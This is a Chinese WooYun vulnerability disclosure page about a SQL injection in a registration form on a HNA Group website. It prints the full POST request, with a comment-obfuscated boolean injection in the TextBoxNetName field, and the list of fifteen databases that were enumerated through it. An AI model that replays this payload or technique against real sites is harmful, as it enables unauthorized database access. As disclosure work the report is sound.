当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-085870

漏洞标题：海航集团某站SQL注入多库

相关厂商：hnagroup.com

漏洞作者： Focusstart

提交时间：2014-12-04 17:10

修复时间：2015-01-18 17:12

公开时间：2015-01-18 17:12

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-04： 细节已通知厂商并且等待厂商处理中
2014-12-09： 厂商已经确认，细节仅向厂商公开
2014-12-19： 细节向核心白帽子及相关领域专家公开
2014-12-29： 细节向普通白帽子公开
2015-01-08： 细节向实习白帽子公开
2015-01-18： 细节向公众公开

简要描述：

海航集团某站SQL注入多库

详细说明：

post注入，跟之前的非同一个点
参数TextBoxNetName存在注射

POST /index/groupcustomuseraddforreg.aspx?IndexPage=1 HTTP/1.1
Content-Length: 9875
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://www.ltt-hna.com:80/
Cookie: ASP.NET_SessionId=ysnq0xqswhtbxq45zl1lxn45
Host: www.ltt-hna.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
ButtonSave=%e4%bf%9d%e5%ad%98&ddlGroupCustom=0&hidPassword=&sex=RadioButton1&TextBoxAddress=3137%20Laguna%20Street&TextBoxCode=94102&TextBoxEmail=sample%40email.tst&TextBoxMobile=987-65-4329&TextBoxName=ohoaphcq&TextBoxNation=1&TextBoxNativePlace=1&TextBoxNetName=ohoaphcq'/**/AND/**/'000B0Pf'%3d'000B0Pf&TextBoxPostCode=94102&TextBoxPw=1&TextBoxTel=555-666-0606&TextBoxVPw=1&textDate1=01/01/1967&__EVENTARGUMENT=&__EVENTTARGET=&__VIEWSTATE=/wEPDwULLTE2MzA5OTk2MDUPZBYCAgMPZBYEAhkPEGQQFZEBBumAieaLqTblronlvr3nnIHoipzmuZbluILlj4znv7zoiKrnqbroo4XlpIfnp5HmioDmnInpmZDlhazlj7gY5aWl5Yev6Iiq56m65pyJ6ZmQ5YWs5Y%2b4JOW3tOilv%2bmjnuacuuaKgOacr%2bacjeWKoeaciemZkOWFrOWPuDDljJfkuqzlronovr7nu7TlsJTmnLrmorDnu7Tkv67mioDmnK/mnInpmZDlhazlj7gS5YyX5Lqs55m%2b5oWV6Iiq5p2QLeWMl%2bS6rOWkp%2beZveeGiuWVhuWKoeiIquepuuaciemZkOi0o%2bS7u%2bWFrOWPuC/ljJfkuqzpo57mnLrnu7Tkv67lt6XnqIvmnInpmZDlhazlj7jvvIhBTUVDT%2b%2b8iTDljJfkuqzlh6Tlh7DlpKfmmIzoiKrnqbrorr7lpIfnu7Tkv67mnInpmZDlhazlj7ge5YyX5Lqs6Iiq56m65pyJ6ZmQ6LSj5Lu75YWs5Y%2b4HuWMl%2bS6rOmmlumDveiIquepuuaciemZkOWFrOWPuC3ljJfkuqzpppbpg73oiKrnqbrmnInpmZDlhazlj7jvvIjlhazliqHmnLrvvIkz5YyX5Lqs6aaW6Iiq55u05Y2H5py66YCa55So6Iiq56m65pyN5Yqh5pyJ6ZmQ5YWs5Y%2b4GOmVv%2bWfjuiIquepuuaciemZkOWFrOWPuBjmiJDpg73oiKrnqbrmnInpmZDlhazlj7gq5oiQ6YO96Iiq5Yip77yI6ZuG5Zui77yJ5a6e5Lia5pyJ6ZmQ5YWs5Y%2b4NuaIkOmDveWPjOa1geWbvemZheacuuWcuuiIquepuuWcsOmdouacjeWKoeaciemZkOWFrOWPuAzmmKXnp4voiKrnqbok5aSn6L%2be5Zu96ZmF5py65Zy66IKh5Lu95pyJ6ZmQ5YWs5Y%2b4J%2bWkp%2baWsOWNjumjnuacuue7tOS/ruacjeWKoeaciemZkOWFrOWPuC3lvrfnurPovr7oiKrnqbrmnI3liqHmnInpmZDlhazlj7jvvIjopb/lronvvIkS5Lic5pa55YWs5Yqh6Iiq56m6NuS4nOaWueiIquepuuW3peeoi%2baKgOacr%2bWFrOWPuOWFrOWKoeacuue7tOS/ruW3peeoi%2bmDqB7kuJzmtbflhazliqHmnLrnu7Tkv67lt6XnqIvpg6gY5Lic5rW36Iiq56m65pyJ6ZmQ5YWs5Y%2b4Kue/oee/oOWbvemZhei0p%2bi/kOiIquepuuaciemZkOi0o%2bS7u%2bWFrOWPuDbnpo/ojrHluJXnibnvvIjljqbpl6jvvInoiKrnqbrpg6jku7bmnI3liqHmnInpmZDlhazlj7ge56aP5bee6Iiq56m65pyJ6ZmQ6LSj5Lu75YWs5Y%2b4OeW5v%2bS4nOecgeacuuWcuueuoeeQhumbhuWbouWFrOWPuOaPremYs%2ba9ruaxleacuuWcuuWFrOWPuDDlub/lt57nmb3kupHlm73pmYXmnLrlnLrlnLDli6TmnI3liqHmnInpmZDlhazlj7gk5bm/5bee5paw56eR5a6H6Iiq56eR5oqA5pyJ6ZmQ5YWs5Y%2b4GOi0teW3nuacuuWcuumbhuWbouacuuWKoTPlm73oiKrlt6XnqIvmioDmnK/liIblhazlj7jlkbzlkozmtannibnnu7Tkv67ln7rlnLAt5Zu96Iiq5bel56iL5oqA5pyv5YiG5YWs5Y%2b45aSp5rSl57u05L%2bu5Z%2b65ZywHuWbveiQpeWbm%2bi%2bvuacuuaisOWItumAoOWFrOWPuCflk4jlsJTmu6joiKrljavoiKrnqbrnp5HmioDmnInpmZDlhazlj7gw5rW36Iiq6Iiq56m65oqA5pyv77yI5LqR5Y2X77yJ5pyJ6ZmQ6LSj5Lu75YWs5Y%2b4Hua1t%2biIquiIquepuuaKgOacr%2baciemZkOWFrOWPuBLmtbflj6Pnu4/mtY7lrabpmaIq5rW35Y2X5rW36Iiq5rGJ6I6O5oqA5pyv5Z%2b56K6t5pyJ6ZmQ5YWs5Y%2b4Hua1t%2bWNl%2biIquepuuiCoeS7veaciemZkOWFrOWPuCTmtbfljZfoiKrnqbrlrabmoKHmnInpmZDotKPku7vlhazlj7gY5rW35Y2X56eR5oqA6IGM5Lia5a2m6ZmiHumCr%2bmDuOacuuWcuuaciemZkOi0o%2bS7u%2bWFrOWPuCTmna3lt57okKflsbHlm73pmYXmnLrlnLrmnInpmZDlhazlj7gM5ZCI6IKl5py65Zy6Huays%2bWMl%2bW3peS4muiBjOS4muaKgOacr%2bWtpumZohjmsrPljJfoiKrnqbrmnInpmZDlhazlj7gk5rKz5YyX5py65Zy6566h55CG6ZuG5Zui5pyJ6ZmQ5YWs5Y%2b4Ieays%2bWMl%2bacuuWcuumbhuWbouenpueah%2bWym%2bacuuWcuhjmsrPljZfoiKrnqbrmnInpmZDlhazlj7gh5rKz5Y2X55yB5py65Zy66ZuG5Zui5pyJ6ZmQ5YWs5Y%2b4GOays%2bWNl%2biBjOS4muaKgOacr%2bWtpumZogzpu5HmsrPmnLrlnLoq6buR6b6Z5rGf55yB5py65Zy6566h55CG6ZuG5Zui5pyJ6ZmQ5YWs5Y%2b4Qum7kem%2bmeaxn%2becgeacuuWcuueuoeeQhumbhuWbouaciemZkOWFrOWPuOeJoeS4ueaxn%2bacuuWcuuWIhuWFrOWPuCTmuZbljJfmnLrlnLrpm4blm6LopYTpmLPmnLrlnLrlhazlj7gq5rmW5YyX56m65riv6Iiq56m65Zyw6Z2i5pyN5Yqh5pyJ6ZmQ5YWs5Y%2b4JOa5luWNl%2bepuua4r%2bWunuS4muiCoeS7veaciemZkOWFrOWPuB7mtY7lroHmm7LpmJzmnLrlnLrmnInpmZDlhazlj7gt5rGf6KW/5py65Zy66ZuG5Zui5Lmd5rGf5bqQ5bGx5py65Zy65YiG5YWs5Y%2b4Kuaxn%2bilv%2bepuua4r%2biIquepuuWcsOmdouacjeWKoeaciemZkOWFrOWPuCrplKblt57pkavpvI7oiKrnqbrnu7Tkv67lt6XnqIvmnInpmZDlhazlj7gq5piG5piO6ZqG55Ge6aOe5py657u05L%2bu5pyN5Yqh5pyJ6ZmQ5YWs5Y%2b4J%2baYhuWxseaWsOWuh%2biIquiIquepuuWZqOadkOaciemZkOWFrOWPuA/ov57kupHmuK/mnLrlnLok5YeM5LqR56eR5oqA6ZuG5Zui5pyJ6ZmQ6LSj5Lu75YWs5Y%2b4D%2bawkeiIqui1hOa6kOe9kTPmsJHnlKjoiKrnqbrlmajnu7Tkv67kurrlkZjmiafnhafogIPor5XnrqHnkIbkuK3lv4M25YaF6JKZ5Y%2bk5ZG85Lym6LSd5bCU5biC5rCR6Iiq5py65Zy65pyJ6ZmQ6LSj5Lu75YWs5Y%2b4ReWGheiSmeWPpOiHquayu%2bWMuuawkeiIquacuuWcuumbhuWbouaciemZkOi0o%2bS7u%2bWFrOWPuOacuuWKoeWIhuWFrOWPuBXljZfoiKrmlrDnlobliIblhazlj7gk5Y2X5Lqs56aE5Y%2bj5Zu96ZmF5py65Zy65pyJ6ZmQ5YWs5Y%2b4MOWNl%2bS6rOeOi%2bihjOiIquepuumZhOS7tue7tOS/ruW3peeoi%2baciemZkOWFrOWPuBjljZflroHlkLTlnKnlm73pmYXmnLrlnLoY5a6B5aSP5py65Zy65pyJ6ZmQ5YWs5Y%2b4HumdkuWym%2biIquepuuiCoeS7veaciemZkOWFrOWPuDPlsbHkuJzoiKrnqbrlhazlj7jpnZLlspvliIblhazlj7jmnLrliqHln7norq3kuK3lv4Mw5bGx5Lic6Iiq56m66IKh5Lu95pyJ6ZmQ5YWs5Y%2b45py65Yqh5Z%2b56K6t5Lit5b%2bDJOWxseS4nOWkquWPpOmjnuacuuW3peeoi%2baciemZkOWFrOWPuCHlsbHopb/nnIHmsJHoiKrmnLrlnLrpm4blm6Llhazlj7gw5LiK5rW35rOi6Z%2bz6Iiq56m65pS56KOF57u05L%2bu5bel56iL5pyJ6ZmQ5YWs5Y%2b4JOS4iua1t%2bS4nOaWuemjnuacuue7tOS/ruaciemZkOWFrOWPuCTkuIrmtbfpo57mnLrlrqLmiLfmnI3liqHmnInpmZDlhazlj7ge5LiK5rW36aOe5py65Yi26YCg5pyJ6ZmQ5YWs5Y%2b4KuS4iua1t%2bWbvemZheacuuWcuuWcsOmdouacjeWKoeaciemZkOWFrOWPuCrkuIrmtbfoiKrmlrDoiKrlrofmnLrmorDmioDmnK/mnInpmZDlhazlj7gk5LiK5rW35ZCJ56Wl6Iiq56m66IKh5Lu95pyJ6ZmQ5YWs5Y%2b4JOS4iua1t%2bmHkem5v%2bWFrOWKoeiIquepuuaciemZkOWFrOWPuCTkuIrmtbflh6/ml4voiKrnqbrnrqHnkIbmnInpmZDlhazlj7ge5LiK5rW356eR5oqA5a6H6Iiq5pyJ6ZmQ5YWs5Y%2b4Hua3seWcs%2baxieiOjuaKgOacr%2baciemZkOWFrOWPuB7mt7HlnLPoiKrnqbrmnInpmZDotKPku7vlhazlj7gV5rex5Zyz5py65Zy65py65Yqh6YOoEua3seWcs%2bS4reS/oea1t%2bebtCrmsojpmLPmoYPku5nlm73pmYXmnLrlnLrogqHku73mnInpmZDlhazlj7gb55%2bz5a625bqE55CG5bel6IGM5Lia5a2m6ZmiGOmhuuS4sOiIquepuuaciemZkOWFrOWPuC3mlq/ogJDmo67oiKrnqbrnu5PmnoTvvIjlpKnmtKXvvInmnInpmZDlhazlj7gk5Zub5bed6aOe5py657u05L%2bu5bel56iL5pyJ6ZmQ5YWs5Y%2b4JOWbm%2bW3neaxieWuh%2biIquepuuenkeaKgOaciemZkOWFrOWPuB7lm5vlt53oiKrnqbrogqHku73mnInpmZDlhazlj7ge5Zub5bed6Iiq56m66IKh5Lu95pyJ6ZmQ5YWs5Y%2b4GOWkqea0pea7qOa1t%2bWbvemZheacuuWcuh7lpKnmtKXoiKrnqbrmnInpmZDotKPku7vlhazlj7gq5aSp5rSl6Iiq56m65pyJ6ZmQ6LSj5Lu75YWs5Y%2b477yI5aSW56uZ77yJHua4qeW3nuacuuWcuumbhuWbouaciemZkOWFrOWPuB7opb/lronoib7lqIHnp5HmioDmnInpmZDlhazlj7gq6KW/5a6J5aSp5p6i6Iiq56m65bel56iL5pyJ6ZmQ6LSj5Lu75YWs5Y%2b4Huilv%2bmDqOiIquepuuaciemZkOi0o%2bS7u%2bWFrOWPuBLopb/pg6jmnLrlnLrpm4blm6Iq6KW/6YOo5py65Zy66ZuG5Zui5rGJ5Lit5py65Zy65pyJ6ZmQ5YWs5Y%2b4Oeilv%2bmDqOacuuWcuumbhuWbouiIquepuuWcsOWLpOaciemZkOWFrOWPuOacuuWKoeW3peeoi%2bmDqCropb/pg6jmnLrlnLrpm4blm6LmpobmnpfmnLrlnLrmnInpmZDlhazlj7gn5Y6m6Iiq56aP5bee5YiG5YWs5Y%2b45py65Yqh6YOo6LSo6YeP5aSEDOWOpumXqOiIquepuhjpppnmuK/oiKrnqbrmnInpmZDlhazlj7gk6aaZ5riv5Lit5Zu96aOe5py65pyN5Yqh5pyJ6ZmQ5YWs5Y%2b4HuaWsOeWhui9u%2bW3peiBjOS4muaKgOacr%2bWtpumZoh7mmJ/ogZTllYbliqHoiKrnqbrmnInpmZDlhazlj7gM5bm456aP6Iiq56m6GOW%2bkOW3nuingumfs%2bWbvemZheacuuWcugzlu7blronmnLrlnLoh5oms5a2Q5rGf5b%2br6L%2bQ6Iiq56m65pyJ6ZmQ5YWs5Y%2b4KuWFg%2be/lOacuuWKoeW3peeoi%2b%2b8iOemj%2bW7uu%2b8ieaciemZkOWFrOWPuCTkupHljZfmnLrlnLrpm4blm6Lmma7mtLHmgJ3ojIXmnLrlnLo/5LqR5Y2X5py65Zy66ZuG5Zui5pyJ6ZmQ6LSj5Lu75YWs5Y%2b46aOe5py657u05L%2bu5pyN5Yqh5YiG5YWs5Y%2b4JOS6keWNl%2belpem5j%2biIquepuuaciemZkOi0o%2bS7u%2bWFrOWPuB7ov5Dln47msJHoiKrmnLrlnLrmnInpmZDlhazlj7gh5byg5a6255WM6Iiq56m65Zmo6Iiq57q/57u05L%2bu56uZD%2bW8oOWutueVjOiIqumZoiTkuK3lm73kuJzmlrnoiKrnqbrogqHku73mnInpmZDlhazlj7gw5Lit5Zu95Lic5pa56Iiq56m66IKh5Lu95pyJ6ZmQ5YWs5Y%2b477yI5rGf6IuP77yJMOS4reWbveS4nOaWueiIquepuuiCoeS7veaciemZkOWFrOWPuO%2b8iOatpuaxie%2b8iSHkuK3lm73lm73pmYXoiKrnqbrotLXpmLPliIblhazlj7ge5Lit5Zu96IGU5ZCI6Iiq56m65pyJ6ZmQ5YWs5Y%2b4EuS4reWbveawkeiIquWkp%2bWtph7kuK3lm73msJHoiKrpo57ooYzmoKHpqozkuK3lv4Mn5Lit5Zu95rCR6Iiq6aOe6KGM5a2m6Zmi6aOe5py65L%2bu55CG5Y6CIuS4reWbveS6uuawkeino%2baUvuWGm%2besrDU3MDblt6XljoJF5Lit5Zu96YKu5pS/6Iiq56m65pyJ6ZmQ6LSj5Lu75YWs5Y%2b45py65Yqh5bel56iL6YOo5Z%2b56K6t566h55CG5YiG6YOoJ%2bS4reS/oea1t%2ba0i%2bebtOWNh%2bacuuiCoeS7veaciemZkOWFrOWPuCTph43luobnqbrmuK/po57mnLrnu7Tkv67mnInpmZDlhazlj7gM6YeN5bqG6bmP5Y2OHumBteS5ieacuuWcuuaciemZkOi0o%2bS7u%2bWFrOWPuBWRAQEwCFVuaXQwMTYyCFVuaXQwMTIwCFVuaXQwMjU0CFVuaXQwMTQ0CFVuaXQwMTk0CFVuaXQwMTkwCFVuaXQwMTE5CFVuaXQwMDk2CFVuaXQwMjM4CFVuaXQwMDkwCFVuaXQwMDg5CFVuaXQwMjQwCFVuaXQwMTIxCFVuaXQwMjExCFVuaXQwMTc3CFVuaXQwMTgwCFVuaXQwMTIzCFVuaXQwMTg2CFVuaXQwMjQxCFVuaXQwMTE0CFVuaXQwMTg4CFVuaXQwMTg5CFVuaXQwMjEwCFVuaXQwMTIyCFVuaXQwMTI5CFVuaXQwMTk3CFVuaXQwMjYzCFVuaXQwMjUyCFVuaXQwMTExCFVuaXQwMjU5CFVuaXQwMjA4CFVuaXQwMTU5CFVuaXQwMTU4CFVuaXQwMTk1CFVuaXQwMTQ5CFVuaXQwMTU2CFVuaXQwMDA2CFVuaXQwMTMwCFVuaXQwMjU1CFVuaXQwMjQ4CFVuaXQwMTQxCFVuaXQwMTM0CFVuaXQwMjA0CFVuaXQwMTM5CFVuaXQwMjAwCFVuaXQwMTM2CFVuaXQwMjMxCFVuaXQwMTA3CFVuaXQwMTc0CFVuaXQwMTEzCFVuaXQwMTAyCFVuaXQwMTMxCFVuaXQwMTkyCFVuaXQwMTkxCFVuaXQwMjQ1CFVuaXQwMTg1CFVuaXQwMTczCFVuaXQwMTE2CFVuaXQwMTAxCFVuaXQwMjQ0CFVuaXQwMTc5CFVuaXQwMTY3CFVuaXQwMTg3CFVuaXQwMjA3CFVuaXQwMTU1CFVuaXQwMTMzCFVuaXQwMTE4CFVuaXQwMDk1CFVuaXQwMTkzCFVuaXQwMjM3CFVuaXQwMTYwCFVuaXQwMTcxCFVuaXQwMTUwCFVuaXQwMjE0CFVuaXQwMTAzCFVuaXQwMjYxCFVuaXQwMDk4CFVuaXQwMTQyCFVuaXQwMTEyCFVuaXQwMTk4CFVuaXQwMDk3CFVuaXQwMTAwCFVuaXQwMTM1CFVuaXQwMTI3CFVuaXQwMjUxCFVuaXQwMTU0CFVuaXQwMDk0CFVuaXQwMTM4CFVuaXQwMTI4CFVuaXQwMDkzCFVuaXQwMjEzCFVuaXQwMTI0CFVuaXQwMTc2CFVuaXQwMjYyCFVuaXQwMTUyCFVuaXQwMTMyCFVuaXQwMTI1CFVuaXQwMTcwCFVuaXQwMTQ1CFVuaXQwMTYxCFVuaXQwMTQ2CFVuaXQwMjU4CFVuaXQwMjQzCFVuaXQwMDg4CFVuaXQwMjUzCFVuaXQwMjQyCFVuaXQwMTY1CFVuaXQwMTYzCFVuaXQwMDg3CFVuaXQwMTA0CFVuaXQwMjQ2CFVuaXQwMTUzCFVuaXQwMTQ3CFVuaXQwMjAzCFVuaXQwMjA1CFVuaXQwMDMzCFVuaXQwMTY5CFVuaXQwMTI2CFVuaXQwMjA2CFVuaXQwMTk5CFVuaXQwMTc1CFVuaXQwMjAxCFVuaXQwMDkxCFVuaXQwMjAyCFVuaXQwMTcyCFVuaXQwMjQ3CFVuaXQwMDg2CFVuaXQwMjMyCFVuaXQwMTg0CFVuaXQwMjEyCFVuaXQwMTA4CFVuaXQwMTA5CFVuaXQwMTEwCFVuaXQwMjA5CFVuaXQwMTY0CFVuaXQwMTA1CFVuaXQwMTc4CFVuaXQwMDk5CFVuaXQwMTQzCFVuaXQwMTU3CFVuaXQwMTE3CFVuaXQwMTE1CFVuaXQwMTQwCFVuaXQwMjM5FCsDkQFnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZGQCSw8PZBYCHgdvbmNsaWNrBQhPdXRwdXQoKWQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgMFDFJhZGlvQnV0dG9uMQUMUmFkaW9CdXR0b24yBQxSYWRpb0J1dHRvbjLU8pZzF6xIhXjJtQJNhPMWzPg2BQ%3d%3d&__VIEWSTATEGENERATOR=B1D17F6D

漏洞证明：

222.jpg


available databases [15]:
[*] Ameco_App
[*] AmecoIII
[*] AMTMSys
[*] ASPState
[*] EGBeLMS5
[*] HaiHangTM_BugTracker
[*] master
[*] model
[*] msdb
[*] NewQhope01
[*] qhopecmsegb
[*] TeacherGarden
[*] TeacherLicense
[*] tempdb
[*] UtiTech

修复方案：

Null

版权声明：转载请注明来源 Focusstart@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2014-12-09 16:09

厂商回复：

网站比较老了，更新吧

最新状态：

暂无

漏洞评价：

评论